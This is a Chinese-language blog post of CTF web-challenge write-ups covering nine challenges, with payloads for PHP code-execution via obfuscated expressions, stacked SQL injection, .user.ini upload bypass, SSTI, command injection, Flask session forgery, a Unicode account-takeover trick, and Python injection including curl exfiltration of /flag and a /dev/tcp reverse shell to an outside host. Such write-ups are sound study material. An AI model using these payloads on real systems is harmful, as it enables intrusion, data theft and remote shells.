WEB
1.某师傅出的招新题
1 |
|
开始看题的时候很懵,没见过。后面看队友说用反射类做。就在网上找了下这方面的CTF题发现这道题
$a=$rce->$str1()
并不能传参,而且还有些疑惑,干嘛定义个空类 Testcalss
毫无头绪
然后去看了下php手册找无参的函数,突然 发现ReflectionClass::getDocComment() — 获取文档注释
这个函数有搞头 ,利用注释中的 flag.php
,readfile
和$z($x)
不就可以读取文件了吗
这个题目出的很巧妙。orz
2.[RoarCTF 2019]Easy Calc
源码
1 |
|
$blacklist
中过滤了 ^
同时题目设置了WAF,过滤了字母、#、!
,所以取反也不能用。
不过可以使用按位与&
以及按位或|
。在 PHP 中,将两个数字使用.
拼接,会当做字符串来处理,返回的也是一个字符串。例如:(1).(2)
出来的就是字符串"12"
,然后可以用{}
来代替[]
来取单个字符。
并且,PHP 中,1/0
得出的是float
类型的INF
,0/0
得出的是float
类型的NAN
,我们也可以把这些转成字符串类型,从而得到字母A
I
N
F
。
E99p1ant师傅的Fuzz 脚本
1 | $char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_'; |
最后根据这个表,就可以构造代码了。可以构造形如(phpinfo)()
这样的形式,来动态执行函数。
值得一提的是,PHP 中函数名是不区分大小写的,因此不一定需要全小写的字符拼凑函数名。
phpinfo()
1 | ((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).(((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1})))() |
(scandir)(../../../)
1 | ((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((((2).(0)){0}){0})|(((0/0).(0)){1})).((((0/0).(0)){1})|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).(((999**999).(1)){1}).(((((999**999).(1)){0})&(((999**999).(1)){2}))|((((4).(0)){0})&(((-1).(0)){0}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))))((((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))))) |
在根目录发现 flag 文件f1agg
。
最终 payload 构造:(serIALIze)(FILe(/f1agg))
读取文件:
1 | ((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})))) |
注意最后发送的时候需要再 URLencode 一下。
3.[强网杯 2019]随便注
推一波MrYunen师傅的注入圣经
尝试语句1' or 1=1 #
发现返回多个结果,说明存在注入
接着 order by爆字段 发现就两个字段
然后查询数据,有过滤
1 | preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
这里可以利用堆叠注入,原理很简单,就是通过 ; 号注入多条SQL语句
1 | 1'; show databases; # |
flag就在这串数字表中
通过编码绕过
因为select被过滤了,所以先将 select * from `1919810931114514` 进行16进制编码再通过构造payload得
1
0';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
当然也可以通过
char()
1
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;
- prepare…from…是预处理语句,会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
4.[SUCTF 2019]CheckIn
文件的内容不能包含<?
,但可以上传<script language='php'><scirpt>
类型的图片马来绕过
利用 .user.ini
绕过,解析php
利用前提
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
关键在这两个关键字
auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()
时该设置无效)
先上传 .user.ini
接着传马
再去访问上传目录即可获得flag
5.[护网杯 2018]easy_tornado
flag.txt 提示flag在 /fllllllllllllag
welcome.txt 的render 可能存在SSTI注入
hints.txt 提示我们 filehash的加密格式 md5(cookie_secret+md5(filename))
先直接访问 /fllllllllllllag
直接报错,看URL应该是SSTI注入
1 | /error?msg={{2^1}} |
直接回显 3
,过滤了很多符号,命令执行就别想了
说明确实存在注入。后面如何通过注入得到 cookie_secret实在是不知道
大佬一句 阅读tornado源码
1 | https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py |
发现handler.settings
存放了cookie_secret (ORZ
1 | import hashlib |
构造下URL即可拿到flag
6.[GXYCTF2019]Ping Ping Ping
简单的命令注入
直接用 ;
分割命令成功,直接执行 ls
回显 flag.php
和index.php
接着读index.php
发现过滤了空格用 $IFS$9
绕过
得到源码
1 |
|
我用的是base64绕过
payload
1 | ;`echo$IFS$9Y2F0IGZsYWcucGhwCg==|base64$IFS$9-d` |
其他payload
1 | ;cat$IFS$1`ls` |
7.[HCTF 2018]admin
在登录页面的注释中有一句
1 | <!-- you are not admin --> |
随便注册个账号进去,在改变密码的页面注释泄露github地址https://github.com/woadsl1234/hctf_flask/
在index.html中
admin登录后得到flag
这道题有两种解法
session伪造
根据P师傅的文章,flask的session都是在本地的,通过一个SECRET_KEY进行签名,可以直接使用脚本进行加解密
1
2
3python flask_session_cookie_manager3.py decode -c .eJxFUE2LwjAU_CvLO3uIFi-CB6E2VHgvWFLDy0VcrW3axoW2Ylvxv2_Xhd3DnGaYryccr03WFrDqmns2g6O7wOoJH5-wAlzgkj0LNFQrmRQqjAXrxOF4FlZHzpZFhWFRsIk8euvYpAPrNKCSfrRLJdOedT5ajz3Jg1fhXqCO59bwYP2hVLoKUMYPkuR5rAb2SUmG52xQqHDnUEbeSlzwuFnimAdWpsOE0YYHN-XXrLlHiQMZXMNrBue2uR67ryq7_U2wfttbY2vUG0EyqaZaAZdFjT6pyewXpPePqcZAeleRjAMVbgVt1m8750959n9GZAXlv8zt5CcCuqztYAb3Nmvet8FcwOsb4eJsVg.XvhXYA.DtOXFn-B-CxhrW07nqEb1i9eswM
'{"_fresh":True,"_id":b"3c9bf41ce8da824a4b374e1bf8d08aaaf2fbae2a5763a8298e1a83fc14ef844125ef2fec9970b04cfc92bdc5f5ac482b0afdc6c09387de2de3d5be1ea610c25c","csrf_token":b"fa1efe1044dd827b8e2de5d654099252d4b78144","image":b"0Vt6","name":"admin","user_id":"10"}'然后源码中有SECRET_KEY
1
2python flask_session_cookie_manager3.py encode -t "{'_fresh': True,'_id': b'3c9bf41ce8da824a4b374e1bf8d08aaaf2fbae2a5763a8298e1a83fc14ef844125ef2fec9970b04cfc92bdc5f5ac482b0afdc6c09387de2de3d5be1ea610c25c','csrf_token':b'fa1efe1044dd827b8e2de5d654099252d4b78144','image':b'0Vt6','name':'admin','user_id':'10'}" -s ckj123
.eJxFUE1rwkAQ_Stlzh5WgxfBgxCzRJgJho3L7EWsxmSTjIWomET8700ttId3eo_39YT9uc2vJSxu7T2fwN6fYPGEj09YAM5wzsIKLTWJTsskjBWb1ONwVM5E3lVljWFZso0ExXm2Wc8mC6iiH-080VnHphicYEd6J0m4VWjiqbPcO9lViakD1PGDNAkPdc-SVmR5yhZVEm486kicxhkPqzkOReB01o8YXLjzY37DhjvU2JPFJbwmcLy25_3tq84vfxOcrDtnXYNmpUin9Vgr4KpsUNKG7HZGZvsYa_RkNjXpOEjCtaLV8m3n5VDk_2dETlHxy1wOMhJwOIm_wATu17x9_wZTBa9vTipsnw.XvhesQ.opeFEuwbfnBJs_j3BEQR_eCGvXE
用这个cookie访问 即可得到flag
Unicode欺骗
源码中显示,各种操作前都会对用户名进行自定义的strlower
1
2
3def strlower(username):
username = nodeprep.prepare(username)
return usernamenodeprep.prepare对应的库是Twisted,requirements.txt中显示Twisted==10.2.0
版本非常老。
unicode问题,对于一些特殊字符,nodeprep.prepare会进行如下操作
1
ᴬ -> A -> a
即第一次将其转换为大写,第二次将其转换为小写
那么,攻击链大概就这样
- 注册用户ᴬdmin
- 登录用户ᴬdmin,变成Admin
- 修改密码Admin,更改了admin的密码
8.[DASCTF 六月赛]简单的计算题
最开始的源码
1 | #!/usr/bin/env python3 |
只过滤了 or
,因为不是直接回显,所以考虑盲注,但是也可以反弹shell,curl外带
curl外带
1 | 1234|os.popen('cat /flag | curl http://1.1.1.1:2333 --data-binary @-').read() |
反弹shell
1 | 1234|open('/tmp/c.sh','w').write('/bin/bash -i > /dev/tcp/1.1.1.1/2333 0>&1'),os.system('/bin/bash /tmp/c.sh') |
盲注
1 | import requests |
后面题目下线了,听说是被os.system()
打穿了
9.[DASCTF 六月赛]简单的计算题2
其他和1一样,但过滤更严格了
1 | if request.method == 'POST': |
后面爬下来的黑名单
1 | black_list = [ 'os', 'mro', 'request', 'args', 'eval', 'system','if', 'for','subprocess', 'file', 'builtins','compile','execfile','from_pyfile','config','local','self','enter','%','or','ls','sys','globals','read','popen'] |
- 但
exec
没被禁所以和1一样,但exec
返回为空所以用,
分割
1 | a="os.system('cat /flag | curl http://1.1.1.1:2333 --data-binary @-')" |
1 | 1,exec('o'+'s.sy'+'stem("sleep 10")') //明显延时了 |
利用继承链
1
2''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')//绕waf字符拼接
1
2eval("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")
exec("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")